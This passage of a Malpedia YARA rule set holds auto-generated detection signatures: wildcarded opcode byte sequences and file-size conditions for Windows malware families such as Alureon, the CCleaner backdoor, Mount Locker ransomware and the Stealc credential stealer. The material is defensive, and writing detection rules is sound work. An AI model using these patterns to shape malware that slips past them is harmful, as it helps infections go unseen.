		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f6c302 740a 83481804 8a0a 884810 }
		$sequence_1 = { eb60 68???????? eb55 68???????? 8d55ac 52 }
		$sequence_2 = { 56 c745f800000000 ff15???????? 85c0 0f94c0 8845ff }
		$sequence_3 = { 8d95dcfbffff 52 e8???????? 83c418 6a00 }
		$sequence_4 = { 50 ffd3 8a5510 8985cdf9ffff 8b450c 50 }
		$sequence_5 = { 750a 8b4dfc 8b5109 ffd2 eb02 33c0 }
		$sequence_6 = { 8b55fc 0355f4 8a02 8801 ebdd 8be5 }
		$sequence_7 = { 8d95fcf3ffff 52 e8???????? 83c42c }
		$sequence_8 = { 8d45b8 50 68???????? 68b6000000 8d8df8fcffff 68???????? 51 }
		$sequence_9 = { 6a00 6a02 ff15???????? 8bf8 897dfc 83ffff 0f8456010000 }
		$sequence_10 = { 8985c5f9ffff ffd7 50 ffd3 }
		$sequence_11 = { 0f8419040000 53 57 6814020000 }
		$sequence_12 = { 83c414 68???????? 50 68???????? 68???????? ffd7 8b4e10 }
		$sequence_13 = { 8d45cc 50 eb14 68???????? 8d4dcc }
		$sequence_14 = { 6a00 ff15???????? 50 ff15???????? 68???????? 68d5000000 }
		$sequence_15 = { 8a8dfcfeffff 8a95fefeffff 8a8500ffffff 57 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Alureon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "117dd26b-ed24-54a6-81be-757a69affa6d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alureon_auto.yar#L1-L175"
		license_url = "N/A"
		logic_hash = "9eb93e11f255dfd7233db5216742e55bd1642de34cc4ea7abe163cf90bc56063"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895d14 7439 49 d1e9 41 894df8 8b4d14 }
		$sequence_1 = { 6a60 59 32c0 8d7c2420 }
		$sequence_2 = { 45 33d2 0fb74158 d1e8 44 }
		$sequence_3 = { 49 8d541d2c 45 8be3 49 8bfb }
		$sequence_4 = { 8bc3 c1e808 88442440 8954242c }
		$sequence_5 = { 68000010c0 8d45fc 50 c745d818000000 895ddc c745e440000000 895de8 }
		$sequence_6 = { 49 8bfb 44 2b6330 8b0a 48 }
		$sequence_7 = { 668b85a0fbffff 8b4df4 8b3d???????? 66894108 }
		$sequence_8 = { 5f 8d442454 89442428 8d442420 50 }
		$sequence_9 = { 75f9 ff75b4 8d4dbc 2bc6 8b35???????? 51 }
		$sequence_10 = { 50 68???????? a4 ff15???????? 8bc3 8d7001 8a08 }
		$sequence_11 = { ff742428 ff15???????? 8bf8 83ffff 7507 33c0 eb43 }
		$sequence_12 = { beff000000 33db 56 8d85f9fcffff 53 50 }
		$sequence_13 = { 8d9c2400050000 e8???????? 8bc3 50 33db 53 53 }
		$sequence_14 = { 8bf8 83c418 85ff 7504 32c0 }
		$sequence_15 = { e8???????? be00030000 83c418 8975ec c745f000010000 895df8 56 }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Ccleaner_Backdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "afe83831-af08-566c-bd71-ab10e23239e8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ccleaner_backdoor_auto.yar#L1-L275"
		license_url = "N/A"
		logic_hash = "be44c857d399380efa2dec8cf50305b24c9727966e69281b9da9b0167cac9243"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd6 50 ff15???????? 8b3d???????? 59 ffd7 }
		$sequence_1 = { 8a11 305103 8b480c 8b09 8a5101 }
		$sequence_2 = { 03c6 85c0 7f09 488b0a 488b01 ff5008 488b4b28 }
		$sequence_3 = { 01442424 eb30 8b4508 897518 }
		$sequence_4 = { 8d856cffffff 6a0c 50 c7856cffffff11618a64 c78570ffffff470de38d c78574ffffff27defaf2 e8???????? }
		$sequence_5 = { 013e 33c0 8b16 83c410 }
		$sequence_6 = { 03c6 4863d0 4c8d0c12 4c8d4718 }
		$sequence_7 = { 33f6 6a1c 8d45e4 59 c60000 }
		$sequence_8 = { 01cc cc 48895c2408 57 }
		$sequence_9 = { 03c0 894340 8b7340 418bc4 }
		$sequence_10 = { 83c410 8d85fcfeffff 50 ff15???????? be00010000 }
		$sequence_11 = { 8b450c 53 56 8b7508 8b5510 03c6 }
		$sequence_12 = { 03cd 41 8a01 4c 03cd 8802 }
		$sequence_13 = { 6844494e00 e8???????? 8365e400 8945e0 8d4508 6a04 }
		$sequence_14 = { 83e805 743a 48 7409 }
		$sequence_15 = { 7507 33c0 e9???????? e8???????? 6800000100 6a40 }
		$sequence_16 = { 01442454 03d1 294c2450 8b4c2410 }
		$sequence_17 = { 01460c 488b3f 493bfc 0f8554ffffff }
		$sequence_18 = { 01461c 8b542424 85d2 7405 }
		$sequence_19 = { 0fb645f8 50 8d45d8 50 }
		$sequence_20 = { 012e 33c0 5f 5e }
		$sequence_21 = { 00cc cc 4057 4883ec50 }
		$sequence_22 = { 03c7 4863c8 488d1c4b 493bdc }
		$sequence_23 = { 42 47 8a07 8802 8a4701 42 8802 }
		$sequence_24 = { 014c2464 40 89542418 89442430 }
		$sequence_25 = { ff15???????? 46 83fe3c 7cd0 }
		$sequence_26 = { 50 56 e8???????? 8b45f8 bfa0010000 c1e008 }
		$sequence_27 = { 01442418 03c8 8954242c 8b542470 }
		$sequence_28 = { 00cc cc 4883ec28 488b11 }
		$sequence_29 = { 8bd1 49 8bd0 41 }
		$sequence_30 = { 013d???????? 8b04b5d8970210 0500080000 3bc8 }
	condition:
		7 of them and filesize < 377856
}

rule MALPEDIA_Win_Mirage_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c8a9a712-bc3f-5690-a472-64df6910b6ba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirage"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mirage_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "4e4af3295967c47493f17386d2e75f998cb14d5de0104dd5de1d503e94b2b46e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 6801000080 ff15???????? 85c0 7556 }
		$sequence_1 = { 68???????? c745f804010000 ff75fc ff15???????? ff75fc }
		$sequence_2 = { 0f84d1000000 57 e8???????? 8d7c0302 c70424???????? }
		$sequence_3 = { 55 8bec b82c410000 e8???????? 53 56 }
		$sequence_4 = { 8d45f4 50 53 68???????? c745f804010000 }
		$sequence_5 = { e8???????? b8???????? 8d8d90feffff 50 8945e8 e8???????? 3bc3 }
		$sequence_6 = { 0f86a0000000 bf14410000 8d8568bbffff 57 53 }
		$sequence_7 = { 3bf3 0f85a9000000 381f 0f84a1000000 8d85ecfeffff 68???????? 50 }
		$sequence_8 = { 6a01 6a06 c645ff01 ff7620 }
		$sequence_9 = { 80c261 88543724 46 83fe1f 7ce8 80643e2400 }
		$sequence_10 = { e9???????? 83fe04 0f859afdffff 56 8d4508 }
		$sequence_11 = { 66218514fbffff b981000000 8dbd16fbffff c745ec01000000 f3ab 66ab 8d45f4 }
		$sequence_12 = { e8???????? 83c410 56 8d8514fbffff 6a00 }
		$sequence_13 = { ab ab 33c0 8dbda6ebffff 6689b5a4ebffff }
		$sequence_14 = { c3 53 e8???????? 59 ff75f0 ff15???????? }
		$sequence_15 = { ffd7 85c0 7547 8d8514fbffff 85c0 }
	condition:
		7 of them and filesize < 1695744
}

rule MALPEDIA_Win_Unidentified_106_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ea4969ee-e7d3-51c5-a790-866750e5961b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_106_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d6bc870d9f53493eb97d63e12993bef0e39d6447b53eae3a48dc5e8a9f09d6c4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff5040 89442440 85c0 780a c783f000000001000000 8b442440 4883c420 }
		$sequence_1 = { ba64000c00 488bcf 4c8be8 ff96c0000000 4885c0 750d bfeaffffff }
		$sequence_2 = { 83e27f 8d0432 413bc4 0f87e0fbffff 83fa04 0f87d7fbffff 85d2 }
		$sequence_3 = { ffc0 4883c110 413bc5 72f0 33c9 e8???????? 488b4c2448 }
		$sequence_4 = { e8???????? 488d9424f0000000 498bce e8???????? 488d4c2420 e8???????? 41b820000000 }
		$sequence_5 = { 8bea 448b895c010000 448be2 412bf1 488bd9 2bee 85f6 }
		$sequence_6 = { c7470801000000 0f57c0 4889442470 0f57c9 48896c2440 41b00b 48896c2448 }
		$sequence_7 = { 85c0 7531 0fb7833c040000 6683e030 6683f810 7509 c683470400000a }
		$sequence_8 = { 8b4a04 394c2460 7507 beffffffff eb62 ba07000300 48896c2478 }
		$sequence_9 = { 7519 488d0598730800 c7450403000000 48898590000000 32c0 eb1f 488b5308 }
	condition:
		7 of them and filesize < 27402240
}

rule MALPEDIA_Win_Dmsniff_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9b02a57-acfd-5696-afff-e1ad9ad00d2f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dmsniff_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "8d240517eec8ca9f146a8569ec7f531dfedcca5581430f505c0f5f429a443243"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7316 8bbdfcfeffff 89fe 46 89b5fcfeffff 899cbd00ffffff 8d85f0feffff }
		$sequence_1 = { d92c24 83c404 6a00 6a00 68???????? 68???????? }
		$sequence_2 = { 50 8b10 ff5220 89c7 09ff 0f8563010000 6a00 }
		$sequence_3 = { 50 8b10 ff5250 89c7 }
		$sequence_4 = { 47 39f7 72d3 ff45fc 8b45f4 3945fc 72c2 }
		$sequence_5 = { f7e7 8945ec 50 e8???????? 89c3 }
		$sequence_6 = { 59 be0f000000 39c6 761a 68???????? e8???????? }
		$sequence_7 = { 50 ff7508 e8???????? 68???????? e8???????? 50 ff7508 }
		$sequence_8 = { e8???????? 68???????? e8???????? 89c2 6a00 }
		$sequence_9 = { 89c3 81e3ff000000 89de 83c661 89f3 881d???????? b803000000 }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Blackmagic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9637b230-6b90-5402-8df5-d6a9a08385b0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackmagic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackmagic_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "0682a81f91c82180ece20284a26ec164fbede145e670a9eec1710d6febfbedfc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8d05aa2c0200 e8???????? 488bf0 4885c0 7412 488bc8 ff15???????? }
		$sequence_1 = { 488bd7 488d8c2430010000 e8???????? 90 33d2 41b810010000 488d8c24e0010000 }
		$sequence_2 = { 33db 49895bb8 885c2470 448d4317 488d15898a0400 498d4ba8 e8???????? }
		$sequence_3 = { 488d4dd7 e8???????? 90 41b84d000000 488d159b810400 e8???????? 90 }
		$sequence_4 = { 0f284587 488d154d1b0300 488d4d87 660f7f4587 e8???????? 488d5587 488d4c2440 }
		$sequence_5 = { e8???????? 4885c0 7411 8a0e 488d1597120300 488910 884808 }
		$sequence_6 = { 90 488d05437a0600 4889442428 488d4c2460 488d542468 488b442468 }
		$sequence_7 = { 488b05???????? 488945d0 488b75f0 488975b8 488975d8 33c0 488985c0000000 }
		$sequence_8 = { e8???????? 488bd8 488bc3 4883c430 415e 5f 5e }
		$sequence_9 = { 488905???????? ff15???????? 483305???????? 488d1560360300 488bcb 488905???????? ff15???????? }
	condition:
		7 of them and filesize < 1416192
}

rule MALPEDIA_Win_Domino_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "10f793c1-4d4b-5de7-9702-d644c24734c3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.domino"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.domino_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "e26eed1b473d3625fb435dacac72b22f0ae1cadfb46f5a5ee8d2f38a588ca275"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41b800300000 488bd6 33c9 4c8bf6 ff15???????? }
		$sequence_1 = { 488bd1 b940000000 ff15???????? 448b442438 }
		$sequence_2 = { 7509 488b5b08 483b1f 75e9 }
		$sequence_3 = { 488b4de7 ff15???????? 488b4def 33d2 ff15???????? 4c8d9c24a0000000 8bc3 }
		$sequence_4 = { 488d942450010000 b904010000 ff15???????? 4c8d4c2440 }
		$sequence_5 = { 7518 66c7030206 ff15???????? 894302 b806000000 e9???????? }
		$sequence_6 = { 750f 66c7030101 b802000000 e9???????? 488d942450010000 b904010000 ff15???????? }
		$sequence_7 = { ff15???????? 85c0 7434 488b4d7f }
		$sequence_8 = { ff15???????? 488bf0 4885c0 7513 66c7030203 ff15???????? }
		$sequence_9 = { ff15???????? 488bcf 894302 ff15???????? }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Maoloa_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "afa3d79b-4a68-539f-9bf1-2fbe13d229d7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.maoloa_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "6927aeeb8c5b24487b9e82b9c7317d430a704e39d7308aabba00107302314472"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4c241c e8???????? 8bf0 83c404 85f6 7524 0f10842468010000 }
		$sequence_1 = { 90 ff0f 8d4dd8 33d2 e8???????? 8bf0 85f6 }
		$sequence_2 = { 53 ff15???????? 85c0 7595 53 }
		$sequence_3 = { 8b4d0c 81ff00040000 7615 5f b8fcffffff 5b 8b4dfc }
		$sequence_4 = { 897018 8bcb 895d08 c1e918 89581c 0fb69998f14200 8b4d08 }
		$sequence_5 = { 8b45f4 8d1c9f 338310100000 81c710100000 314df0 8945f4 8b45ac }
		$sequence_6 = { 8d4dd8 33d2 e8???????? 8bf0 85f6 0f85dc010000 837dbc01 }
		$sequence_7 = { c3 8b4d9c 53 52 33d2 e8???????? }
		$sequence_8 = { 8bc6 c1e002 50 8b85b4f8ffff 0fb70485cc444200 8d0485c83b4200 }
		$sequence_9 = { 8bf0 6a08 6a08 89742430 e8???????? 83c410 }
	condition:
		7 of them and filesize < 586752
}

rule MALPEDIA_Win_Mount_Locker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2052c543-cb18-5d1a-a87c-7c9ba4a04469"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mount_locker_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "9773bfd51e99f33a259a570fd66a0ee2d45575bac793a3c37128b45245a677af"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 498be8 4d8bc8 4c8bc2 4c8bf2 }
		$sequence_1 = { f30f5905???????? 0f5ad0 66490f7ed0 e8???????? }
		$sequence_2 = { 8bc8 81e10000ffff 81f900000780 7503 0fb7c0 3d2e050000 }
		$sequence_3 = { 488b0b 41b902000000 4533c0 33d2 }
		$sequence_4 = { 488d4df0 4889442428 4533c9 4533c0 }
		$sequence_5 = { 4c8bc2 4c8bf2 8bf1 33d2 33c9 }
		$sequence_6 = { 4c8b05???????? 488bcb 488b15???????? e8???????? }
		$sequence_7 = { 4533c9 488b4c2458 33d2 c744243001000000 c744243c02000000 }
		$sequence_8 = { ff15???????? 85c0 7509 f0ff05???????? }
		$sequence_9 = { 7505 e8???????? 833d????????00 7409 833d????????00 }
		$sequence_10 = { 7423 488b0d???????? 4885c9 7417 488364242000 4c8d4c2468 }
		$sequence_11 = { 57 ff15???????? 8bd8 85db 7442 }
		$sequence_12 = { 66894df8 668945f4 56 56 }
		$sequence_13 = { 8b7c2414 8b35???????? bd???????? 8b15???????? 8bde 03df 89542414 }
		$sequence_14 = { c3 6aff ff7508 e8???????? 68???????? }
		$sequence_15 = { 59 59 5f 5e 33c0 5d }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Stealc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff6aaa00-958c-53cc-ab33-0d5cc117632f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealc_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "0abba8b26d40125f184d3d439be2ae9ffb7dbc4aae103ea542b0165f4c38fedb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? e8???????? 81c480000000 e9???????? }
		$sequence_1 = { e8???????? e8???????? 83c418 6a3c }
		$sequence_2 = { e8???????? 83c460 e8???????? 83c40c }
		$sequence_3 = { ff15???????? 85c0 7507 c685e0feffff43 }
		$sequence_4 = { 68???????? e8???????? e8???????? 83c474 }
		$sequence_5 = { 50 e8???????? e8???????? 81c484000000 }
		$sequence_6 = { 8d85dcf7ffff 50 8b450c 53 ff30 895df0 }
		$sequence_7 = { 8d85dcf7ffff 50 ff15???????? 85c0 0f84a1000000 }
		$sequence_8 = { e8???????? e8???????? 83c47c e9???????? }
		$sequence_9 = { 69c10ba31400 894d80 2bc2 66894584 }
		$sequence_10 = { e9???????? 694d940ba31400 ba51754269 2bca }
		$sequence_11 = { 2bca 884c0588 48ffc0 4883f808 }
		$sequence_12 = { 2bc2 66894584 69c187fd701e b934eddb95 }
		$sequence_13 = { 85c0 750a b043 66c745a04300 eb03 8a45a0 }
		$sequence_14 = { 8bcc 8d85e8fcffff 50 e8???????? }
		$sequence_15 = { 894d94 b925000000 e8???????? 0fb64d8f }
		$sequence_16 = { ba51754269 2bca 69c10ba31400 894d80 }
		$sequence_17 = { e8???????? 0fb64d8f 4c8be0 440fb6458e }
	condition:
		7 of them and filesize < 4891648
}

rule MALPEDIA_Win_Cryptic_Convo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "66ff4a00-02d0-5dfa-b2f7-7b3271a8876d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptic_convo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptic_convo_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "e28456acfbd5652f4b94b426affd2f208681769134e3003d7681a2d2c78d8e5f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 57 8bf1 e8???????? ff7674 8b3d???????? 6a01 }
		$sequence_1 = { 2b459c ff7674 2bc7 40 99 2bc2 }
		$sequence_2 = { c3 6800090000 6a00 e8???????? }
		$sequence_3 = { 034d08 bb00300000 663bd3 7505 }
		$sequence_4 = { 8b450c 53 8985ecfcffff 8b4514 56 8985f0fcffff 57 }
		$sequence_5 = { 6a5c 85f6 7403 56 }
		$sequence_6 = { 7905 4a 83cafe 42 7510 ff85b4feffff 8b95b4feffff }
		$sequence_7 = { 8b85ecfcffff 8b95f4fcffff 53 ff7510 89540134 50 }
		$sequence_8 = { 50 e8???????? 83c40c 33c0 8a88b0664000 888c05dc010000 }
		$sequence_9 = { 3b85d4fcffff 750e 8b4610 03461c 8985a8fdffff eb0b }
	condition:
		7 of them and filesize < 97280
}

rule MALPEDIA_Win_Smanager_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9094b6d5-dd8f-5044-9d10-3bb7c70d2fbb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smanager_auto.yar#L1-L227"
		license_url = "N/A"
		logic_hash = "e0a2b573b878cce9fd789f6f7825fb445120b343d0f7f8893519c9a9cc16ccfe"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c7462cffffffff 7410 6a00 6a00 }
		$sequence_1 = { 8b4608 85c0 7420 a801 }
		$sequence_2 = { 83c602 6a22 56 e8???????? 83c408 85c0 }
		$sequence_3 = { 740e 3d45270000 7407 3d46270000 }
		$sequence_4 = { 51 51 ffd0 83c40c c7460800000000 }
		$sequence_5 = { 8b7604 6a00 6a00 56 }
		$sequence_6 = { 8b4510 85c0 7407 50 ff15???????? }
		$sequence_7 = { 56 68???????? 6a00 6a00 ff15???????? 8bf8 897e28 }
		$sequence_8 = { ff15???????? 32c0 e9???????? 0f1005???????? }
		$sequence_9 = { 8b43ec 85c0 751d 41f6c040 7408 488b07 }
		$sequence_10 = { 0000 80ed4a 0044feff ff900100008c }
		$sequence_11 = { 0000 0c0c 0c0c 0c0c 0c0c 0c0c 0102 }
		$sequence_12 = { 0007 b15a 0089b05a0089 b05a }
		$sequence_13 = { 85c0 745c 448d4368 488d4c2470 33d2 }
		$sequence_14 = { 448b842498000000 488b942490000000 488b4c2448 488d842480000000 4533c9 4889442428 895c2420 }
		$sequence_15 = { 0008 53 4f 00ef }
		$sequence_16 = { 4863ca 8a441918 42888401b0210200 ffc2 }
		$sequence_17 = { 488bce e8???????? 8b07 488b8c2480000000 89442430 488d442440 448d4301 }
		$sequence_18 = { 0003 b157 0000 0c0c }
		$sequence_19 = { b920000000 498bd0 482bd3 488d81deffff7f 4885c0 7417 0fb7041a }
		$sequence_20 = { 0007 b15a 00c4 b15a }
		$sequence_21 = { 0007 b15a 0007 b15a }
		$sequence_22 = { 0001 ce 50 0008 }
		$sequence_23 = { 751c 4883e0fe 488d4f08 4c8b08 4d85c9 740c 41b802000000 }
	condition:
		7 of them and filesize < 10013696
}

rule MALPEDIA_Win_Payloadbin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "479cd137-2967-575a-8de8-bab23a965cce"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.payloadbin_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "810f81f232eae27d52097e88c16ab90183a29e32277d9224dad94d2d9c691817"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c744243003000000 488d4c2470 66448bc9 4487c2 6699 4c8d48b0 }
		$sequence_1 = { 4d0fbddc 23c6 480fb7cb 0bd8 0fbfca 6698 418919 }
		$sequence_2 = { 68eb3a8171 55 68396f8656 6819276b5f 682109a155 4c8b6c2438 48c7442438404fa1db }
